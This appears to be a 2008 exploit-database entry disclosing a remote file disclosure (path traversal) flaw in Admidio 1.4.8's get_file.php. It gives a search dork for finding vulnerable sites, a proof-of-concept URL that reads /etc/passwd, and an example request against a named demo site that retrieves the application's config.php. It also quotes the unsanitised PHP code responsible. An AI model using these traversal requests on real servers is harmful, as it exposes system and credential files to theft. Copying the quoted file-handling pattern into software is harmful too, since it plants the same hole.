[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Admidio 1.4.8 (getfile.php) Remote File Disclosure Vulnerability
# Published : 2008-05-09
# Author : n3v3rh00d
# Previous Title : Joomla Component com_datsogallery 1.6 Blind SQL Injection Exploit
# Next Title : SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit


/---------------------------------------------------------------
+                                				+
+        	Admidio 1.4.8 Remote File Disclosure            +
+                                				+
---------------------------------------------------------------/


[*] Author    : n3v3rh00d, http://forum.antichat.ru

[*] Download    : http://prdownloads.sourceforge.net/admidio/admidio-1.4.8.zip

[*] Bug Type    : Remote File Disclosure

[*] Dork    : "Admidio Team"

[*] POC        : /adm_program/modules/download/get_file.php?folder=&file=../../../../../../../../../../etc/passwd&default_folder=

[*] Example    : http://demo.admidio.org/adm_program/modules/download/get_file.php?folder=&file=../../adm_config/config.php&default_folder=

[*] Source    :
    ..........................................................

    $file   = strStripTags(urldecode($_GET['file']));
    $act_folder     = "../../../adm_my_files/download";

    ..........................................................

    $file_name   = "$act_folder/$file";
    $file_length = filesize("$act_folder/$file");
    
    ..........................................................
    
    header("Content-Type: application/octet-stream");
    header("Content-Length: $file_length");
    header("Content-Disposition: attachment; filename="$file"");

    header('Cache-Control: private');
    readfile($file_name);

# www.Syue.com [2008-05-09]